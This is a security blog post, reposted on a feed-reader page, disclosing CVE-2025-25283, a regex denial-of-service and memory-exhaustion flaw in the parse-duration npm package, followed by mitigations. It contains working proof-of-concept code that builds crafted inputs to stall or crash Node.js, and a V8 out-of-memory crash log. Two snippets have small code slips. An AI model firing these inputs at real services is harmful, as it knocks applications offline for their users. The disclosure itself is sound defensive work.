惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Visual Studio Blog
Y
Y Combinator Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Apple Machine Learning Research
Apple Machine Learning Research
爱范儿
爱范儿
IT之家
IT之家
量子位
小众软件
小众软件
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
有赞技术团队
有赞技术团队
罗磊的独立博客
S
SegmentFault 最新的问题
博客园_首页
N
Netflix TechBlog - Medium
月光博客
月光博客
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
aimingoo的专栏
aimingoo的专栏
T
Tailwind CSS Blog
M
MIT News - Artificial intelligence
A
About on SuperTechFans
The Cloudflare Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
腾讯CDC
MyScale Blog
MyScale Blog

NodeJS Security & NodeJS Secure Coding's Blog

Hardening Your npm and pnpm Configs in the Age of Shai-Hulud Argument Injection vulnerability in git-blame@1.4.0 Argument Injection vulnerability in `gits@0.1.8` Command Injection vulnerability in `@fab1o/git@1.4.0` Command Injection vulnerability in `git-contributors` via unsanitized CLI arguments Command Injection vulnerability in `git-q@0.0.3` Command injection vulnerability via unsanitized CLI arguments in touxing/fast-git-clone Command Injection vulnerability in `willitmerge@0.2.1` A Directory Traversal Vulnerability I found in Mastra AI Frameworks MCP Server Mastering NPX: A Cheatsheet for npm and Node.js Power Users Mitigate Supply Chain Security with DevContainers and 1Password for Node.js Local Development The Tale of the Vulnerable MCP Database Server Bad Security Defaults in Mastra AI Frameworks Templates SQL Injection and Bypassing "Read-Only" Mode in Xata's MCP Server Security Advisory for qix npm supply-chain compromise affecting debug and billions of weekly download users How to Mitigate SQL Bypass in MCP Servers Enhancing MCP Server Security: A Guide to Using execFile Argument Injection Vulnerability in ggit How to Bypass Access Control in PostgreSQL in Simple PSQL MCP Server for SQL Injection Command Injection Flaws in ggit: Unveiling a Vulnerability Command Injection Vulnerability in Create MCP Server STDIO Tool Exposes System Monitoring Functions GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows Critical Command Injection Flaw in iOS Simulator MCP Server Exposes Development Environments Command Injection Vulnerability Discovered in Codehooks MCP Server: A Critical Security Analysis SSRF Shenanigans in safe-axios: Redirects Open the Backdoor SSRF Vulnerability in safe-axios: Unintended Public Address Classification Bypassing SSRF Safeguards in ssrfcheck: A Case of Incomplete Denylists Don't Be Fooled by Multicast, SSRF Bypass in private-ip Node.js Authentication from Lucia to Better Auth Bypassing SSRF Protection in nossrf: When Your Safeguards Become Loopholes
Regex Gone Wrong: How parse-duration npm Package Can Cras...
2025-02-13 · via NodeJS Security & NodeJS Secure Coding's Blog

Ahh yes, the good ol’ ReDoS vulnerabilities. Ever wondered how a simple regular expression could bring down your Node.js application? Today, we’re diving deep into two critical availability vulnerabilities discovered in the parse-duration npm package. These issues highlight how seemingly innocent regex patterns that are sparsely composed can lead to significant security problems - from event loop delays of up to seconds worth of compute time to complete application crashes.

The following is based on a security vulnerability that I discovered and disclosed in the parse-duration package which received CVE-2025-25283 and now has been patched to minimize the impact of these vulnerabilities.

Understanding Node.js Denial of Service

The security audit revealed two major availability issues in the parse-duration package, both stemming from its regex implementation and its use of copying large strings as part of its processing:

  1. Event Loop Blocking: CPU-bound operations causing delays ranging from 0.5ms to 50ms per operation, depending on input size (0.01 MB to 4.3 MB).
  2. Memory Exhaustion: Application crashes due to out-of-memory errors when processing strings around 10 MB, particularly with Unicode characters.

Let’s break down why these issues are serious and how they can affect your applications.

Node.js Event Loop Blocking Vulnerability

The core issue lies in how parse-duration processes input strings using regex. Here’s a simplified version of the problematic pattern:

const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;

This regex pattern, while functional for normal use cases, becomes problematic with specially crafted input. Let’s look at a proof-of-concept that demonstrates the issue:

import parse from 'parse-duration';

function generateStressTestString(length, decimalProbability) {

let result = "";

for (let i = 0; i < length; i++) {

if (Math.random() < decimalProbability) {

result += "....".repeat(99);

}

result += Math.floor(Math.random() * 10);

}

return result;

}

function measureParseTime(input) {

const start = performance.now();

parse(input);

return performance.now() - start;

}

// Even small inputs can cause delays

const smallInput = generateStressTestString(380, 0.05); // ~0.01 MB

console.log(`Processing time: ${measureParseTime(smallInput)}ms`); // ~1ms delay

// Larger inputs dramatically increase processing time

const largeInput = generateStressTestString(10000, 0.9); // ~3.4 MB

console.log(`Processing time: ${measureParseTime(largeInput)}ms`); // ~728ms delay

The 0.01 MB input may not seem significant but now imagine that this Node.js application doesn’t have rate limiting in place. An adversarial can utilize a very low-effort parallel requests attack and trigger a significant cpu-bound work in the runtime.

Another thing to consider here, are you applying HTTP request body size limits? If not, what stops an adversary from sending a large payload? Did you enable a large size limit for a specific API endpoint for some business-case? If so, you might want to reconsider that or figure out proper security controls.

Memory Exhaustion Attack

The second vulnerability is even more severe. Here’s how a relatively small input can crash your application:

function demonstrateMemoryExhaustion() {

// Only ~10 MB of data

const maliciousInput = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000);

parse(maliciousInput);

console.error('Application crashed:', error.message);

// Output: RangeError: Maximum call stack size exceeded

}

I’ve also seen other cases in which a very large input at the size of 190 MB would cause the Node.js application an out of memory too at the heap limit:

Regex test on string of length 198500000 (size: 189.30 MB):

<--- Last few GCs --->

[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed

<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

----- Native stack trace -----

1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]

2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]

3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]

4: 0x11180d5 [node]

5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]

6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]

7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]

8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]

9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]

10: 0x1979ef6 [node]

Aborted (core dumped)

Mitigation Strategies

To protect your applications, consider implementing these security measures:

  1. Limit the size of incoming request input:

function validateDurationInput(input) {

// Limit input length

if (input.length > 1000) {

throw new Error('Input too long');

}

// Optional, validate character set

if (!/^[\w\s.-]*$/.test(input)) {

throw new Error('Invalid characters in input');

}

}

or use the built-in for Express:

app.use(express.json({ limit: '100kb' }));

app.use(express.urlencoded({ limit: '100kb', extended: true }));

  1. Rate Limiting. Here’s a simple Node.js based concept for that:

import rateLimit from 'express-rate-limit';

app.use(rateLimit({

windowMs: 15 * 60 * 1000, // 15 minutes

max: 100 // limit each IP to 100 requests per windowMs

}));

Best Practices for Regex in Node.js

When working with regex in Node.js, especially for parsing user input:

  1. Avoid Catastrophic Backtracking

// Bad - vulnerable to backtracking

const badRegex = /^(a+)+$/;

// Better - limited repetition

const betterRegex = /^[a]{1,1000}$/;

  1. Use timeouts for regex operations or safe alternatives like the re2 package

import { Re2 } from 're2';

const re2 = new Re2(/(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu);

The reason for using re2 is that it is implemented in a way that doesn’t rely on backtracking and is safe to use in production environments.

Conclusion

The vulnerabilities in parse-duration serve as a reminder that even simple regex patterns can pose significant security risks. Always validate input, implement proper rate limiting, and consider the potential impact of regex operations in your Node.js applications.

All versions of parse-duration prior to 2.1.3 are considered vulnerable, and 2.1.3 is the fixed version which you are highly encouraged to upgrade to.

The fixes in the latest version of parse-duration minimize the impact in a reasonable way as follows:

  • Case of 728ms dropped down to ~50ms
  • Case of 42ms dropped down to ~8ms
  • Case of out of memory heap issue resolved with a ~1.8s resolution (but granted, it’s a very long string weighing at 190 MB)
  • Case of out of memory RangeError on the stack resolved with a ~30ms